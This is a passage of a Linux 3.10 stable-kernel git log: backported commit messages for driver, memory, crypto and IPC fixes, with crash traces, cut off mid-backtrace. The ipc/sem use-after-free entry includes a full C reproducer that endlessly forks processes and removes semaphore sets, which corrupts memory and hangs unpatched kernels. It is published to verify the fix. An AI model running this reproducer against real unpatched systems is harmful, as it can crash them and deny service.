xtensa: don't use echo -e needlessly commit 123f15e669d5a5a2e2f260ba4a5fc2efd93df20e upstream. -e is not needed to output strings without escape sequences. This breaks big endian FSF build when the shell is dash, because its builtin echo doesn't understand '-e' switch and outputs it in the echoed string. Reported-by: Guenter Roeck Signed-off-by: Max Filippov Signed-off-by: Chris Zankel Cc: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 493a2780a8105d0d5abd603dbc7b7e8753daaa86 Author: Mikulas Patocka Date: Wed Sep 2 22:51:53 2015 +0200 hpfs: update ctime and mtime on directory modification commit f49a26e7718dd30b49e3541e3e25aecf5e7294e2 upstream. Update ctime and mtime when a directory is modified. (though OS/2 doesn't update them anyway) Signed-off-by: Mikulas Patocka Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f8dfe937569d72373f09effd580d44b6a1b145b Author: Grant Likely Date: Sun Jun 7 15:20:11 2015 +0100 drivercore: Fix unregistration path of platform devices commit 7f5dcaf1fdf289767a126a0a5cc3ef39b5254b06 upstream. The unregister path of platform_device is broken. On registration, it will register all resources with either a parent already set, or type==IORESOURCE_{IO,MEM}. However, on unregister it will release everything with type==IORESOURCE_{IO,MEM}, but ignore the others. There are also cases where resources don't get registered in the first place, like with devices created by of_platform_populate()*. Fix the unregister path to be symmetrical with the register path by checking the parent pointer instead of the type field to decide which resources to unregister. This is safe because the upshot of the registration path algorithm is that registered resources have a parent pointer, and non-registered resources do not. * It can be argued that of_platform_populate() should be registering it's resources, and they argument has some merit. However, there are quite a few platforms that end up broken if we try to do that due to overlapping resources in the device tree. Until that is fixed, we need to solve the immediate problem. Cc: Pantelis Antoniou Cc: Wolfram Sang Cc: Rob Herring Cc: Greg Kroah-Hartman Cc: Ricardo Ribalda Delgado Signed-off-by: Grant Likely Tested-by: Ricardo Ribalda Delgado Tested-by: Wolfram Sang Signed-off-by: Rob Herring Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a2d25e153216938b82e45b406d4a6d4c244fb071 Author: David Daney Date: Wed Aug 19 13:17:47 2015 -0700 of/address: Don't loop forever in of_find_matching_node_by_address(). commit 3a496b00b6f90c41bd21a410871dfc97d4f3c7ab upstream. If the internal call to of_address_to_resource() fails, we end up looping forever in of_find_matching_node_by_address(). This can be caused by a defective device tree, or calling with an incorrect matches argument. Fix by calling of_find_matching_node() unconditionally at the end of the loop. Signed-off-by: David Daney Signed-off-by: Rob Herring Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 263ce2433ac1e8a6d7ff0769f353eda21c9c8e84 Author: Sudip Mukherjee Date: Mon Jul 20 17:27:21 2015 +0530 auxdisplay: ks0108: fix refcount commit bab383de3b84e584b0f09227151020b2a43dc34c upstream. parport_find_base() will implicitly do parport_get_port() which increases the refcount. Then parport_register_device() will again increment the refcount. But while unloading the module we are only doing parport_unregister_device() decrementing the refcount only once. We add an parport_put_port() to neutralize the effect of parport_get_port(). Signed-off-by: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65414ddd204105e91239eb5294977a279a128217 Author: Masahiro Yamada Date: Wed Jul 15 10:29:00 2015 +0900 devres: fix devres_get() commit 64526370d11ce8868ca495723d595b61e8697fbf upstream. Currently, devres_get() passes devres_free() the pointer to devres, but devres_free() should be given with the pointer to resource data. Fixes: 9ac7849e35f7 ("devres: device resource management") Signed-off-by: Masahiro Yamada Acked-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ae6e767bedf2cbce94de2a21840ac2aa0e191208 Author: Max Filippov Date: Thu Jul 16 10:41:02 2015 +0300 xtensa: fix kernel register spilling commit 77d6273e79e3a86552fcf10cdd31a69b46ed2ce6 upstream. call12 can't be safely used as the first call in the inline function, because the compiler does not extend the stack frame of the bounding function accordingly, which may result in corruption of local variables. If a call needs to be done, do call8 first followed by call12. For pure assembly code in _switch_to increase stack frame size of the bounding function. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6e5620bd88559ab60b81f74bfb30786bd6ef328e Author: Max Filippov Date: Sat Jul 4 15:27:39 2015 +0300 xtensa: fix threadptr reload on return to userspace commit 4229fb12a03e5da5882b420b0aa4a02e77447b86 upstream. Userspace return code may skip restoring THREADPTR register if there are no registers that need to be zeroed. This leads to spurious failures in libc NPTL tests. Always restore THREADPTR on return to userspace. Signed-off-by: Max Filippov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit da752d9a840ccf45b0295f85526d565212654fb8 Author: Don Zickus Date: Mon Aug 10 12:06:53 2015 -0400 HID: usbhid: Fix the check for HID_RESET_PENDING in hid_io_error commit 3af4e5a95184d6d3c1c6a065f163faa174a96a1d upstream. It was reported that after 10-20 reboots, a usb keyboard plugged into a docking station would not work unless it was replugged in. Using usbmon, it turns out the interrupt URBs were streaming with callback errors of -71 for some reason. The hid-core.c::hid_io_error was supposed to retry and then reset, but the reset wasn't really happening. The check for HID_NO_BANDWIDTH was inverted. Fix was simple. Tested by reporter and locally by me by unplugging a keyboard halfway until I could recreate a stream of errors but no disconnect. Signed-off-by: Don Zickus Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ee5695f20575051f3fd5b9b143fd42398af327e Author: Andrey Ryabinin Date: Thu Sep 3 14:32:01 2015 +0300 crypto: ghash-clmulni: specify context size for ghash async algorithm commit 71c6da846be478a61556717ef1ee1cea91f5d6a8 upstream. Currently context size (cra_ctxsize) doesn't specified for ghash_async_alg. Which means it's zero. Thus crypto_create_tfm() doesn't allocate needed space for ghash_async_ctx, so any read/write to ctx (e.g. in ghash_async_init_tfm()) is not valid. Signed-off-by: Andrey Ryabinin Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1408c51f9c7019dc964b9efe0c0b8a58974b85f1 Author: Maciej S. Szmigiero Date: Sun Aug 2 23:11:52 2015 +0200 serial: 8250: don't bind to SMSC IrCC IR port commit ffa34de03bcfbfa88d8352942bc238bb48e94e2d upstream. SMSC IrCC SIR/FIR port should not be bound to by (legacy) serial driver so its own driver (smsc-ircc2) can bind to it. Signed-off-by: Maciej Szmigiero Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5fc3205590148b9b8d701c1471dfae2ddb2eb38c Author: Peter Chen Date: Mon Aug 17 10:23:03 2015 +0800 usb: host: ehci-sys: delete useless bus_to_hcd conversion commit 0521cfd06e1ebcd575e7ae36aab068b38df23850 upstream. The ehci platform device's drvdata is the pointer of struct usb_hcd already, so we doesn't need to call bus_to_hcd conversion again. Signed-off-by: Peter Chen Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a232da0036f2af62b8a257c6f0ea16fd8ef6dcac Author: Kishon Vijay Abraham I Date: Mon Jul 27 12:25:27 2015 +0530 usb: dwc3: ep0: Fix mem corruption on OUT transfers of more than 512 bytes commit b2fb5b1a0f50d3ebc12342c8d8dead245e9c9d4e upstream. DWC3 uses bounce buffer to handle non max packet aligned OUT transfers and the size of bounce buffer is 512 bytes. However if the host initiates OUT transfers of size more than 512 bytes (and non max packet aligned), the driver throws a WARN dump but still programs the TRB to receive more than 512 bytes. This will cause bounce buffer to overflow and corrupt the adjacent memory locations which can be fatal. Fix it by programming the TRB to receive a maximum of DWC3_EP0_BOUNCE_SIZE (512) bytes. Signed-off-by: Kishon Vijay Abraham I Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 11500093c69286f50193ff5146ab95cda4ec3329 Author: Matthijs Kooijman Date: Tue Aug 18 10:33:56 2015 +0200 USB: ftdi_sio: Added custom PID for CustomWare products commit 1fb8dc36384ae1140ee6ccc470de74397606a9d5 upstream. CustomWare uses the FTDI VID with custom PIDs for their ShipModul MiniPlex products. Signed-off-by: Matthijs Kooijman Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2d3af1429da597e2ec4ebe6f040b7574a27d3f79 Author: Philipp Hachtmann Date: Mon Aug 17 17:31:46 2015 +0200 USB: symbolserial: Use usb_get_serial_port_data commit 951d3793bbfc0a441d791d820183aa3085c83ea9 upstream. The driver used usb_get_serial_data(port->serial) which compiled but resulted in a NULL pointer being returned (and subsequently used). I did not go deeper into this but I guess this is a regression. Signed-off-by: Philipp Hachtmann Fixes: a85796ee5149 ("USB: symbolserial: move private-data allocation to port_probe") Acked-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f10d7f3510a69a5a6223caa5bf661bd2713f7a1c Author: Bjorn Helgaas Date: Fri Jun 19 15:58:24 2015 -0500 PCI: Fix TI816X class code quirk commit d1541dc977d376406f4584d8eb055488655c98ec upstream. In fixup_ti816x_class(), we assigned "class = PCI_CLASS_MULTIMEDIA_VIDEO". But PCI_CLASS_MULTIMEDIA_VIDEO is only the two-byte base class/sub-class and needs to be shifted to make space for the low-order interface byte. Shift PCI_CLASS_MULTIMEDIA_VIDEO to set the correct class code. Fixes: 63c4408074cb ("PCI: Add quirk for setting valid class for TI816X Endpoint") Signed-off-by: Bjorn Helgaas CC: Hemant Pedanekar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b95e369c35b473344f10f0f6fcbc6e26195c50e1 Author: Dan Carpenter Date: Wed Jul 29 13:17:06 2015 +0300 clk: versatile: off by one in clk_sp810_timerclken_of_get() commit 3294bee87091be5f179474f6c39d1d87769635e2 upstream. The ">" should be ">=" or we end up reading beyond the end of the array. Fixes: 6e973d2c4385 ('clk: vexpress: Add separate SP810 driver') Signed-off-by: Dan Carpenter Acked-by: Pawel Moll Signed-off-by: Stephen Boyd Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 36d935dc03bdac1b1a1b61f9b8cdc8448d71f563 Author: Lars-Peter Clausen Date: Wed Aug 5 15:38:15 2015 +0200 iio: adis16480: Fix scale factors commit 7abad1063deb0f77d275c61f58863ec319c58c5c upstream. The different devices support by the adis16480 driver have slightly different scales for the gyroscope and accelerometer channels. Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8751415d065031bd0436ac4006a698f45fb1310a Author: Lars-Peter Clausen Date: Wed Aug 5 15:38:14 2015 +0200 iio: Add inverse unit conversion macros commit c689a923c867eac40ed3826c1d9328edea8b6bc7 upstream. Add inverse unit conversion macro to convert from standard IIO units to units that might be used by some devices. Those are useful in combination with scale factors that are specified as IIO_VAL_FRACTIONAL. Typically the denominator for those specifications will contain the maximum raw value the sensor will generate and the numerator the value it maps to in a specific unit. Sometimes datasheets specify those in different units than the standard IIO units (e.g. degree/s instead of rad/s) and so we need to do a unit conversion. From a mathematical point of view it does not make a difference whether we apply the unit conversion to the numerator or the inverse unit conversion to the denominator since (x / y) / z = x / (y * z). But as the denominator is typically a larger value and we are rounding both the numerator and denominator to integer values using the later method gives us a better precision (E.g. the relative error is smaller if we round 8000.3 to 8000 rather than rounding 8.3 to 8). This is where in inverse unit conversion macros will be used. Marked for stable as used by some upcoming fixes. Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a5e9e5670898695116d6740087879abb47b4696d Author: Markus Pargmann Date: Wed Jul 29 15:46:03 2015 +0200 iio: bmg160: IIO_BUFFER and IIO_TRIGGERED_BUFFER are required commit 06d2f6ca5a38abe92f1f3a132b331eee773868c3 upstream. This patch adds selects for IIO_BUFFER and IIO_TRIGGERED_BUFFER. Without IIO_BUFFER, the driver does not compile. Signed-off-by: Markus Pargmann Reviewed-by: Srinivas Pandruvada Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f741e7569be870b2dc0dfb523b4bf77e4b3e41fd Author: Stephen Chandler Paul Date: Fri Aug 21 14:16:12 2015 -0400 DRM - radeon: Don't link train DisplayPort on HPD until we get the dpcd commit 924f92bf12bfbef3662619e3ed24a1cea7c1cbcd upstream. Most of the time this isn't an issue since hotplugging an adaptor will trigger a crtc mode change which in turn, causes the driver to probe every DisplayPort for a dpcd. However, in cases where hotplugging doesn't cause a mode change (specifically when one unplugs a monitor from a DisplayPort connector, then plugs that same monitor back in seconds later on the same port without any other monitors connected), we never probe for the dpcd before starting the initial link training. What happens from there looks like this: - GPU has only one monitor connected. It's connected via DisplayPort, and does not go through an adaptor of any sort. - User unplugs DisplayPort connector from GPU. - Change in HPD is detected by the driver, we probe every DisplayPort for a possible connection. - Probe the port the user originally had the monitor connected on for it's dpcd. This fails, and we clear the first (and only the first) byte of the dpcd to indicate we no longer have a dpcd for this port. - User plugs the previously disconnected monitor back into the same DisplayPort. - radeon_connector_hotplug() is called before everyone else, and tries to handle the link training. Since only the first byte of the dpcd is zeroed, the driver is able to complete link training but does so against the wrong dpcd, causing it to initialize the link with the wrong settings. - Display stays blank (usually), dpcd is probed after the initial link training, and the driver prints no obvious messages to the log. In theory, since only one byte of the dpcd is chopped off (specifically, the byte that contains the revision information for DisplayPort), it's not entirely impossible that this bug may not show on certain monitors. For instance, the only reason this bug was visible on my ASUS PB238 monitor was due to the fact that this monitor using the enhanced framing symbol sequence, the flag for which is ignored if the radeon driver thinks that the DisplayPort version is below 1.1. Signed-off-by: Stephen Chandler Paul Reviewed-by: Jerome Glisse Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 75377ee90cab9388fbf4c3f679b251621b1b51a1 Author: Greg Kroah-Hartman Date: Sun Sep 13 09:08:15 2015 -0700 Linux 3.10.88 Signed-off-by: Pranav Vashi commit bf17433efbd5e1503797de6d66d3623ed5bd3f97 Author: Horia Geant? Date: Tue Aug 11 20:19:20 2015 +0300 crypto: caam - fix memory corruption in ahash_final_ctx commit b310c178e6d897f82abb9da3af1cd7c02b09f592 upstream. When doing pointer operation for accessing the HW S/G table, a value representing number of entries (and not number of bytes) must be used. Fixes: 045e36780f115 ("crypto: caam - ahash hmac support") Signed-off-by: Horia Geant? Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d8053b9575250ef85e756b37e3e0c7ae0a503a5c Author: Bart Van Assche Date: Fri Jun 5 14:20:51 2015 -0700 libfc: Fix fc_fcp_cleanup_each_cmd() commit 8f2777f53e3d5ad8ef2a176a4463a5c8e1a16431 upstream. Since fc_fcp_cleanup_cmd() can sleep this function must not be called while holding a spinlock. This patch avoids that fc_fcp_cleanup_each_cmd() triggers the following bug: BUG: scheduling while atomic: sg_reset/1512/0x00000202 1 lock held by sg_reset/1512: #0: (&(&fsp->scsi_pkt_lock)->rlock){+.-...}, at: [] fc_fcp_cleanup_each_cmd.isra.21+0xa5/0x150 [libfc] Preemption disabled at:[] fc_fcp_cleanup_each_cmd.isra.21+0xa5/0x150 [libfc] Call Trace: [] dump_stack+0x4f/0x7b [] __schedule_bug+0x6c/0xd0 [] __schedule+0x71a/0xa10 [] schedule+0x32/0x80 [] fc_seq_set_resp+0xac/0x100 [libfc] [] fc_exch_done+0x41/0x60 [libfc] [] fc_fcp_cleanup_each_cmd.isra.21+0xcf/0x150 [libfc] [] fc_eh_device_reset+0x1c3/0x270 [libfc] [] scsi_try_bus_device_reset+0x29/0x60 [] scsi_ioctl_reset+0x258/0x2d0 [] scsi_ioctl+0x150/0x440 [] sd_ioctl+0xad/0x120 [] blkdev_ioctl+0x1b6/0x810 [] block_ioctl+0x38/0x40 [] do_vfs_ioctl+0x2f8/0x530 [] SyS_ioctl+0x81/0xa0 [] system_call_fastpath+0x16/0x7a Signed-off-by: Bart Van Assche Signed-off-by: Vasu Dev Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ad9b180afc2be88d22447df8508113dadec7ae1 Author: Alex Deucher Date: Mon Aug 10 15:28:49 2015 -0400 drm/radeon: add new OLAND pci id commit e037239e5e7b61007763984aa35a8329596d8c88 upstream. Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0b95fe7826a63854f2845a4f60e84abd678f654 Author: Michael Walle Date: Tue Jul 21 11:00:53 2015 +0200 EDAC, ppc4xx: Access mci->csrows array elements properly commit 5c16179b550b9fd8114637a56b153c9768ea06a5 upstream. The commit de3910eb79ac ("edac: change the mem allocation scheme to make Documentation/kobject.txt happy") changed the memory allocation for the csrows member. But ppc4xx_edac was forgotten in the patch. Fix it. Signed-off-by: Michael Walle Cc: linux-edac Cc: Mauro Carvalho Chehab Link: http://lkml.kernel.org/r/1437469253-8611-1-git-send-email-michael@walle.cc Signed-off-by: Borislav Petkov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e8afacb84f87c23808383738a8dacde33641a99d Author: Richard Weinberger Date: Mon Jul 27 00:06:55 2015 +0200 localmodconfig: Use Kbuild files too commit c0ddc8c745b7f89c50385fd7aa03c78dc543fa7a upstream. In kbuild it is allowed to define objects in files named "Makefile" and "Kbuild". Currently localmodconfig reads objects only from "Makefile"s and misses modules like nouveau. Link: http://lkml.kernel.org/r/1437948415-16290-1-git-send-email-richard@nod.at Reported-and-tested-by: Leonidas Spyropoulos Signed-off-by: Richard Weinberger Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f8cc6aea1032e280703f4206446ec6885159197c Author: Joe Thornber Date: Wed Aug 12 15:10:21 2015 +0100 dm thin metadata: delete btrees when releasing metadata snapshot commit 7f518ad0a212e2a6fd68630e176af1de395070a7 upstream. The device details and mapping trees were just being decremented before. Now btree_del() is called to do a deep delete. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6fd6e9b235d98fb47ebce58f1b9c95d039fd5118 Author: Peter Zijlstra Date: Thu Jun 11 10:32:01 2015 +0200 perf: Fix fasync handling on inherited events commit fed66e2cdd4f127a43fd11b8d92a99bdd429528c upstream. Vince reported that the fasync signal stuff doesn't work proper for inherited events. So fix that. Installing fasync allocates memory and sets filp->f_flags |= FASYNC, which upon the demise of the file descriptor ensures the allocation is freed and state is updated. Now for perf, we can have the events stick around for a while after the original FD is dead because of references from child events. So we cannot copy the fasync pointer around. We can however consistently use the parent's fasync, as that will be updated. Reported-and-Tested-by: Vince Weaver Signed-off-by: Peter Zijlstra (Intel) Cc: Arnaldo Carvalho deMelo Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: eranian@google.com Link: http://lkml.kernel.org/r/1434011521.1495.71.camel@twins Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5222b09e99c0223e985033011c8bd2027bc72179 Author: Wanpeng Li Date: Fri Aug 14 15:34:56 2015 -0700 mm/hwpoison: fix page refcount of unknown non LRU page commit 4f32be677b124a49459e2603321c7a5605ceb9f8 upstream. After trying to drain pages from pagevec/pageset, we try to get reference count of the page again, however, the reference count of the page is not reduced if the page is still not on LRU list. Fix it by adding the put_page() to drop the page reference which is from __get_any_page(). Signed-off-by: Wanpeng Li Acked-by: Naoya Horiguchi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 69bbed174d10cf5d8eb941949c1820eb290eb9a3 Author: Manfred Spraul Date: Fri Aug 14 15:35:10 2015 -0700 ipc/sem.c: update/correct memory barriers commit 3ed1f8a99d70ea1cd1508910eb107d0edcae5009 upstream. sem_lock() did not properly pair memory barriers: !spin_is_locked() and spin_unlock_wait() are both only control barriers. The code needs an acquire barrier, otherwise the cpu might perform read operations before the lock test. As no primitive exists inside and since it seems noone wants another primitive, the code creates a local primitive within ipc/sem.c. With regards to -stable: The change of sem_wait_array() is a bugfix, the change to sem_lock() is a nop (just a preprocessor redefinition to improve the readability). The bugfix is necessary for all kernels that use sem_wait_array() (i.e.: starting from 3.10). Signed-off-by: Manfred Spraul Reported-by: Oleg Nesterov Acked-by: Peter Zijlstra (Intel) Cc: "Paul E. McKenney" Cc: Kirill Tkhai Cc: Ingo Molnar Cc: Josh Poimboeuf Cc: Davidlohr Bueso Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b6fea8c9d8616441b7f701f5e831f788a805985a Author: Herton R. Krzesinski Date: Fri Aug 14 15:35:02 2015 -0700 ipc,sem: fix use after free on IPC_RMID after a task using same semaphore set exits commit 602b8593d2b4138c10e922eeaafe306f6b51817b upstream. The current semaphore code allows a potential use after free: in exit_sem we may free the task's sem_undo_list while there is still another task looping through the same semaphore set and cleaning the sem_undo list at freeary function (the task called IPC_RMID for the same semaphore set). For example, with a test program [1] running which keeps forking a lot of processes (which then do a semop call with SEM_UNDO flag), and with the parent right after removing the semaphore set with IPC_RMID, and a kernel built with CONFIG_SLAB, CONFIG_SLAB_DEBUG and CONFIG_DEBUG_SPINLOCK, you can easily see something like the following in the kernel log: Slab corruption (Not tainted): kmalloc-64 start=ffff88003b45c1c0, len=64 000: 6b 6b 6b 6b 6b 6b 6b 6b 00 6b 6b 6b 6b 6b 6b 6b kkkkkkkk.kkkkkkk 010: ff ff ff ff 6b 6b 6b 6b ff ff ff ff ff ff ff ff ....kkkk........ Prev obj: start=ffff88003b45c180, len=64 000: 00 00 00 00 ad 4e ad de ff ff ff ff 5a 5a 5a 5a .....N......ZZZZ 010: ff ff ff ff ff ff ff ff c0 fb 01 37 00 88 ff ff ...........7.... Next obj: start=ffff88003b45c200, len=64 000: 00 00 00 00 ad 4e ad de ff ff ff ff 5a 5a 5a 5a .....N......ZZZZ 010: ff ff ff ff ff ff ff ff 68 29 a7 3c 00 88 ff ff ........h).<.... BUG: spinlock wrong CPU on CPU#2, test/18028 general protection fault: 0000 [#1] SMP Modules linked in: 8021q mrp garp stp llc nf_conntrack_ipv4 nf_defrag_ipv4 ip6t_REJECT nf_reject_ipv6 nf_conntrack_ipv6 nf_defrag_ipv6 xt_state nf_conntrack ip6table_filter ip6_tables binfmt_misc ppdev input_leds joydev parport_pc parport floppy serio_raw virtio_balloon virtio_rng virtio_console virtio_net iosf_mbi crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcspkr qxl ttm drm_kms_helper drm snd_hda_codec_generic i2c_piix4 snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_seq snd_seq_device snd_pcm snd_timer snd soundcore crc32c_intel virtio_pci virtio_ring virtio pata_acpi ata_generic [last unloaded: speedstep_lib] CPU: 2 PID: 18028 Comm: test Not tainted 4.2.0-rc5+ #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.8.1-20150318_183358- 04/01/2014 RIP: spin_dump+0x53/0xc0 Call Trace: spin_bug+0x30/0x40 do_raw_spin_unlock+0x71/0xa0 _raw_spin_unlock+0xe/0x10 freeary+0x82/0x2a0 ? _raw_spin_lock+0xe/0x10 semctl_down.clone.0+0xce/0x160 ? __do_page_fault+0x19a/0x430 ? __audit_syscall_entry+0xa8/0x100 SyS_semctl+0x236/0x2c0 ? syscall_trace_leave+0xde/0x130 entry_SYSCALL_64_fastpath+0x12/0x71 Code: 8b 80 88 03 00 00 48 8d 88 60 05 00 00 48 c7 c7 a0 2c a4 81 31 c0 65 8b 15 eb 40 f3 7e e8 08 31 68 00 4d 85 e4 44 8b 4b 08 74 5e <45> 8b 84 24 88 03 00 00 49 8d 8c 24 60 05 00 00 8b 53 04 48 89 RIP [] spin_dump+0x53/0xc0 RSP ---[ end trace 783ebb76612867a0 ]--- NMI watchdog: BUG: soft lockup - CPU#3 stuck for 22s! [test:18053] Modules linked in: 8021q mrp garp stp llc nf_conntrack_ipv4 nf_defrag_ipv4 ip6t_REJECT nf_reject_ipv6 nf_conntrack_ipv6 nf_defrag_ipv6 xt_state nf_conntrack ip6table_filter ip6_tables binfmt_misc ppdev input_leds joydev parport_pc parport floppy serio_raw virtio_balloon virtio_rng virtio_console virtio_net iosf_mbi crct10dif_pclmul crc32_pclmul ghash_clmulni_intel pcspkr qxl ttm drm_kms_helper drm snd_hda_codec_generic i2c_piix4 snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_seq snd_seq_device snd_pcm snd_timer snd soundcore crc32c_intel virtio_pci virtio_ring virtio pata_acpi ata_generic [last unloaded: speedstep_lib] CPU: 3 PID: 18053 Comm: test Tainted: G D 4.2.0-rc5+ #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.8.1-20150318_183358- 04/01/2014 RIP: native_read_tsc+0x0/0x20 Call Trace: ? delay_tsc+0x40/0x70 __delay+0xf/0x20 do_raw_spin_lock+0x96/0x140 _raw_spin_lock+0xe/0x10 sem_lock_and_putref+0x11/0x70 SYSC_semtimedop+0x7bf/0x960 ? handle_mm_fault+0xbf6/0x1880 ? dequeue_task_fair+0x79/0x4a0 ? __do_page_fault+0x19a/0x430 ? kfree_debugcheck+0x16/0x40 ? __do_page_fault+0x19a/0x430 ? __audit_syscall_entry+0xa8/0x100 ? do_audit_syscall_entry+0x66/0x70 ? syscall_trace_enter_phase1+0x139/0x160 SyS_semtimedop+0xe/0x10 SyS_semop+0x10/0x20 entry_SYSCALL_64_fastpath+0x12/0x71 Code: 47 10 83 e8 01 85 c0 89 47 10 75 08 65 48 89 3d 1f 74 ff 7e c9 c3 0f 1f 44 00 00 55 48 89 e5 e8 87 17 04 00 66 90 c9 c3 0f 1f 00 <55> 48 89 e5 0f 31 89 c1 48 89 d0 48 c1 e0 20 89 c9 48 09 c8 c9 Kernel panic - not syncing: softlockup: hung tasks I wasn't able to trigger any badness on a recent kernel without the proper config debugs enabled, however I have softlockup reports on some kernel versions, in the semaphore code, which are similar as above (the scenario is seen on some servers running IBM DB2 which uses semaphore syscalls). The patch here fixes the race against freeary, by acquiring or waiting on the sem_undo_list lock as necessary (exit_sem can race with freeary, while freeary sets un->semid to -1 and removes the same sem_undo from list_proc or when it removes the last sem_undo). After the patch I'm unable to reproduce the problem using the test case [1]. [1] Test case used below: #include #include #include #include #include #include #include #include #include #define NSEM 1 #define NSET 5 int sid[NSET]; void thread() { struct sembuf op; int s; uid_t pid = getuid(); s = rand() % NSET; op.sem_num = pid % NSEM; op.sem_op = 1; op.sem_flg = SEM_UNDO; semop(sid[s], &op, 1); exit(EXIT_SUCCESS); } void create_set() { int i, j; pid_t p; union { int val; struct semid_ds *buf; unsigned short int *array; struct seminfo *__buf; } un; /* Create and initialize semaphore set */ for (i = 0; i < NSET; i++) { sid[i] = semget(IPC_PRIVATE , NSEM, 0644 | IPC_CREAT); if (sid[i] < 0) { perror("semget"); exit(EXIT_FAILURE); } } un.val = 0; for (i = 0; i < NSET; i++) { for (j = 0; j < NSEM; j++) { if (semctl(sid[i], j, SETVAL, un) < 0) perror("semctl"); } } /* Launch threads that operate on semaphore set */ for (i = 0; i < NSEM * NSET * NSET; i++) { p = fork(); if (p < 0) perror("fork"); if (p == 0) thread(); } /* Free semaphore set */ for (i = 0; i < NSET; i++) { if (semctl(sid[i], NSEM, IPC_RMID)) perror("IPC_RMID"); } /* Wait for forked processes to exit */ while (wait(NULL)) { if (errno == ECHILD) break; }; } int main(int argc, char **argv) { pid_t p; srand(time(NULL)); while (1) { p = fork(); if (p < 0) { perror("fork"); exit(EXIT_FAILURE); } if (p == 0) { create_set(); goto end; } /* Wait for forked processes to exit */ while (wait(NULL)) { if (errno == ECHILD) break; }; } end: return 0; } [akpm@linux-foundation.org: use normal comment layout] Signed-off-by: Herton R. Krzesinski Acked-by: Manfred Spraul Cc: Davidlohr Bueso Cc: Rafael Aquini CC: Aristeu Rozanski Cc: David Jeffery Signed-off-by: Andrew Morton Signed-off-by: Greg Kroah-Hartman Signed-off-by: Linus Torvalds Signed-off-by: Pranav Vashi commit b448de54e26f6b141e923e4e02a953199768c3ba Author: Greg Kroah-Hartman Date: Sun Aug 16 20:52:24 2015 -0700 Linux 3.10.87 Signed-off-by: Pranav Vashi commit 450aae2ba7becbcf6e9a314cd70950274ddeb460 Author: Michal Hocko Date: Tue Aug 4 14:36:58 2015 -0700 mm, vmscan: Do not wait for page writeback for GFP_NOFS allocations Nikolay has reported a hang when a memcg reclaim got stuck with the following backtrace: PID: 18308 TASK: ffff883d7c9b0a30 CPU: 1 COMMAND: "rsync" #0 __schedule at ffffffff815ab152 #1 schedule at ffffffff815ab76e #2 schedule_timeout at ffffffff815ae5e5 #3 io_schedule_timeout at ffffffff815aad6a #4 bit_wait_io at ffffffff815abfc6 #5 __wait_on_bit at ffffffff815abda5 #6 wait_on_page_bit at ffffffff8111fd4f #7 shrink_page_list at ffffffff81135445 #8 shrink_inactive_list at ffffffff81135845 #9 shrink_lruvec at ffffffff81135ead #10 shrink_zone at ffffffff811360c3 #11 shrink_zones at ffffffff81136eff #12 do_try_to_free_pages at ffffffff8113712f #13 try_to_free_mem_cgroup_pages at ffffffff811372be #14 try_charge at ffffffff81189423 #15 mem_cgroup_try_charge at ffffffff8118c6f5 #16 __add_to_page_cache_locked at ffffffff8112137d #17 add_to_page_cache_lru at ffffffff81121618 #18 pagecache_get_page at ffffffff8112170b #19 grow_dev_page at ffffffff811c8297 #20 __getblk_slow at ffffffff811c91d6 #21 __getblk_gfp at ffffffff811c92c1 #22 ext4_ext_grow_indepth at 